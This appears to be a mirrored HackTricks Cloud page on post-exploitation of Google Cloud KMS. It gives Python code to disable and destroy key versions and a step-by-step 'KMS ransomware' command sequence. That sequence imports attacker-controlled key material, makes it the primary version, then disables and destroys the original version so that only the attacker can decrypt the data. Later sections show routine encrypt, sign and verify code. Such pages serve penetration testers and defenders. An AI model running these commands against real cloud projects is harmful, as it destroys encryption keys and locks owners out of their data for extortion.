mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2025-12-23 07:29:04 -08:00
286 lines
10 KiB
Markdown
286 lines
10 KiB
Markdown
# GCP - KMS Post Exploitation
|
|
|
|
{% hint style="success" %}
|
|
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
|
|
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
|
|
|
<details>
|
|
|
|
<summary>Support HackTricks</summary>
|
|
|
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
|
|
</details>
|
|
{% endhint %}
|
|
|
|
## KMS
|
|
|
|
Find basic information about KMS in:
|
|
|
|
{% content-ref url="../gcp-services/gcp-kms-enum.md" %}
|
|
[gcp-kms-enum.md](../gcp-services/gcp-kms-enum.md)
|
|
{% endcontent-ref %}
|
|
|
|
### `cloudkms.cryptoKeyVersions.destroy`
|
|
|
|
An attacker with this permission could destroy a KMS version. In order to do this you first need to disable the key and then destroy it:
|
|
|
|
```python
|
|
# pip install google-cloud-kms
|
|
|
|
from google.cloud import kms
|
|
|
|
def disable_key_version(project_id, location_id, key_ring_id, key_id, key_version):
|
|
"""
|
|
Disables a key version in Cloud KMS.
|
|
"""
|
|
# Create the client.
|
|
client = kms.KeyManagementServiceClient()
|
|
|
|
# Build the key version name.
|
|
key_version_name = client.crypto_key_version_path(project_id, location_id, key_ring_id, key_id, key_version)
|
|
|
|
# Call the API to disable the key version.
|
|
client.update_crypto_key_version(request={'crypto_key_version': {'name': key_version_name, 'state': kms.CryptoKeyVersion.State.DISABLED}})
|
|
|
|
def destroy_key_version(project_id, location_id, key_ring_id, key_id, key_version):
|
|
"""
|
|
Destroys a key version in Cloud KMS.
|
|
"""
|
|
# Create the client.
|
|
client = kms.KeyManagementServiceClient()
|
|
|
|
# Build the key version name.
|
|
key_version_name = client.crypto_key_version_path(project_id, location_id, key_ring_id, key_id, key_version)
|
|
|
|
# Call the API to destroy the key version.
|
|
client.destroy_crypto_key_version(request={'name': key_version_name})
|
|
|
|
# Example usage
|
|
project_id = 'your-project-id'
|
|
location_id = 'your-location'
|
|
key_ring_id = 'your-key-ring'
|
|
key_id = 'your-key-id'
|
|
key_version = '1' # Version number to disable and destroy
|
|
|
|
# Disable the key version
|
|
disable_key_version(project_id, location_id, key_ring_id, key_id, key_version)
|
|
|
|
# Destroy the key version
|
|
destroy_key_version(project_id, location_id, key_ring_id, key_id, key_version)
|
|
```
|
|
|
|
### KMS Ransomware
|
|
|
|
In AWS it's possible to completely **steal a KMS key** by modifying the KMS resource policy and only allowing the attackers account to use the key. As these resource policies doesn't exist in GCP this is not possible.
|
|
|
|
However, there is another way to perform a global KMS Ransomware, which would involve the following steps:
|
|
|
|
* Create a new **version of the key with a key material** imported by the attacker
|
|
|
|
{% code overflow="wrap" %}
|
|
```bash
|
|
gcloud kms import-jobs create [IMPORT_JOB] --location [LOCATION] --keyring [KEY_RING] --import-method [IMPORT_METHOD] --protection-level [PROTECTION_LEVEL] --target-key [KEY]
|
|
```
|
|
{% endcode %}
|
|
|
|
* Set it as **default version** (for future data being encrypted)
|
|
* **Re-encrypt older data** encrypted with the previous version with the new one.
|
|
* **Delete the KMS key**
|
|
* Now only the attacker, who has the original key material could be able to decrypt the encrypted data
|
|
|
|
#### Here are the steps to import a new version and disable/delete the older data:
|
|
|
|
```bash
|
|
# Encrypt something with the original key
|
|
echo "This is a sample text to encrypt" > /tmp/my-plaintext-file.txt
|
|
gcloud kms encrypt \
|
|
--location us-central1 \
|
|
--keyring kms-lab-2-keyring \
|
|
--key kms-lab-2-key \
|
|
--plaintext-file my-plaintext-file.txt \
|
|
--ciphertext-file my-encrypted-file.enc
|
|
|
|
# Decrypt it
|
|
gcloud kms decrypt \
|
|
--location us-central1 \
|
|
--keyring kms-lab-2-keyring \
|
|
--key kms-lab-2-key \
|
|
--ciphertext-file my-encrypted-file.enc \
|
|
--plaintext-file -
|
|
|
|
|
|
# Create an Import Job
|
|
gcloud kms import-jobs create my-import-job \
|
|
--location us-central1 \
|
|
--keyring kms-lab-2-keyring \
|
|
--import-method "rsa-oaep-3072-sha1-aes-256" \
|
|
--protection-level "software"
|
|
|
|
# Generate key material
|
|
openssl rand -out my-key-material.bin 32
|
|
|
|
# Import the Key Material (it's encrypted with an asymetrict key of the import job previous to be sent)
|
|
gcloud kms keys versions import \
|
|
--import-job my-import-job \
|
|
--location us-central1 \
|
|
--keyring kms-lab-2-keyring \
|
|
--key kms-lab-2-key \
|
|
--algorithm "google-symmetric-encryption" \
|
|
--target-key-file my-key-material.bin
|
|
|
|
# Get versions
|
|
gcloud kms keys versions list \
|
|
--location us-central1 \
|
|
--keyring kms-lab-2-keyring \
|
|
--key kms-lab-2-key
|
|
|
|
# Make new version primary
|
|
gcloud kms keys update \
|
|
--location us-central1 \
|
|
--keyring kms-lab-2-keyring \
|
|
--key kms-lab-2-key \
|
|
--primary-version 2
|
|
|
|
# Try to decrypt again (error)
|
|
gcloud kms decrypt \
|
|
--location us-central1 \
|
|
--keyring kms-lab-2-keyring \
|
|
--key kms-lab-2-key \
|
|
--ciphertext-file my-encrypted-file.enc \
|
|
--plaintext-file -
|
|
|
|
# Disable initial version
|
|
gcloud kms keys versions disable \
|
|
--location us-central1 \
|
|
--keyring kms-lab-2-keyring \
|
|
--key kms-lab-2-key 1
|
|
|
|
# Destroy the old version
|
|
gcloud kms keys versions destroy \
|
|
--location us-central1 \
|
|
--keyring kms-lab-2-keyring \
|
|
--key kms-lab-2-key \
|
|
--version 1
|
|
|
|
```
|
|
|
|
### `cloudkms.cryptoKeyVersions.useToEncrypt` | `cloudkms.cryptoKeyVersions.useToEncryptViaDelegation`
|
|
|
|
```python
|
|
from google.cloud import kms
|
|
import base64
|
|
|
|
def encrypt_symmetric(project_id, location_id, key_ring_id, key_id, plaintext):
|
|
"""
|
|
Encrypts data using a symmetric key from Cloud KMS.
|
|
"""
|
|
# Create the client.
|
|
client = kms.KeyManagementServiceClient()
|
|
|
|
# Build the key name.
|
|
key_name = client.crypto_key_path(project_id, location_id, key_ring_id, key_id)
|
|
|
|
# Convert the plaintext to bytes.
|
|
plaintext_bytes = plaintext.encode('utf-8')
|
|
|
|
# Call the API.
|
|
encrypt_response = client.encrypt(request={'name': key_name, 'plaintext': plaintext_bytes})
|
|
ciphertext = encrypt_response.ciphertext
|
|
|
|
# Optional: Encode the ciphertext to base64 for easier handling.
|
|
return base64.b64encode(ciphertext)
|
|
|
|
# Example usage
|
|
project_id = 'your-project-id'
|
|
location_id = 'your-location'
|
|
key_ring_id = 'your-key-ring'
|
|
key_id = 'your-key-id'
|
|
plaintext = 'your-data-to-encrypt'
|
|
|
|
ciphertext = encrypt_symmetric(project_id, location_id, key_ring_id, key_id, plaintext)
|
|
print('Ciphertext:', ciphertext)
|
|
```
|
|
|
|
### `cloudkms.cryptoKeyVersions.useToSign`
|
|
|
|
```python
|
|
import hashlib
|
|
from google.cloud import kms
|
|
|
|
def sign_asymmetric(project_id, location_id, key_ring_id, key_id, key_version, message):
|
|
"""
|
|
Sign a message using an asymmetric key version from Cloud KMS.
|
|
"""
|
|
# Create the client.
|
|
client = kms.KeyManagementServiceClient()
|
|
|
|
# Build the key version name.
|
|
key_version_name = client.crypto_key_version_path(project_id, location_id, key_ring_id, key_id, key_version)
|
|
|
|
# Convert the message to bytes and calculate the digest.
|
|
message_bytes = message.encode('utf-8')
|
|
digest = {'sha256': hashlib.sha256(message_bytes).digest()}
|
|
|
|
# Call the API to sign the digest.
|
|
sign_response = client.asymmetric_sign(name=key_version_name, digest=digest)
|
|
return sign_response.signature
|
|
|
|
# Example usage for signing
|
|
project_id = 'your-project-id'
|
|
location_id = 'your-location'
|
|
key_ring_id = 'your-key-ring'
|
|
key_id = 'your-key-id'
|
|
key_version = '1'
|
|
message = 'your-message'
|
|
|
|
signature = sign_asymmetric(project_id, location_id, key_ring_id, key_id, key_version, message)
|
|
print('Signature:', signature)
|
|
```
|
|
|
|
### `cloudkms.cryptoKeyVersions.useToVerify`
|
|
|
|
```python
|
|
from google.cloud import kms
|
|
import hashlib
|
|
|
|
def verify_asymmetric_signature(project_id, location_id, key_ring_id, key_id, key_version, message, signature):
|
|
"""
|
|
Verify a signature using an asymmetric key version from Cloud KMS.
|
|
"""
|
|
# Create the client.
|
|
client = kms.KeyManagementServiceClient()
|
|
|
|
# Build the key version name.
|
|
key_version_name = client.crypto_key_version_path(project_id, location_id, key_ring_id, key_id, key_version)
|
|
|
|
# Convert the message to bytes and calculate the digest.
|
|
message_bytes = message.encode('utf-8')
|
|
digest = {'sha256': hashlib.sha256(message_bytes).digest()}
|
|
|
|
# Build the verify request and call the API.
|
|
verify_response = client.asymmetric_verify(name=key_version_name, digest=digest, signature=signature)
|
|
return verify_response.success
|
|
|
|
# Example usage for verification
|
|
verified = verify_asymmetric_signature(project_id, location_id, key_ring_id, key_id, key_version, message, signature)
|
|
print('Verified:', verified)
|
|
```
|
|
|
|
{% hint style="success" %}
|
|
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
|
|
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
|
|
|
<details>
|
|
|
|
<summary>Support HackTricks</summary>
|
|
|
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
|
|
</details>
|
|
{% endhint %}
|